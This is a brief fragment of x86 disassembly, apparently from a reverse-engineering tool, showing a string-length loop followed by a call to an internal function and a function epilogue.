lea ebx, [ebx + ecx + 0xa]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [ecx + ebp + 1]
lea ebp, [ecx + ebp + 1]
test al, al
jne 0x10003628
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.10006a90
pop ebp
pop ebx
add esp, 0x784
ret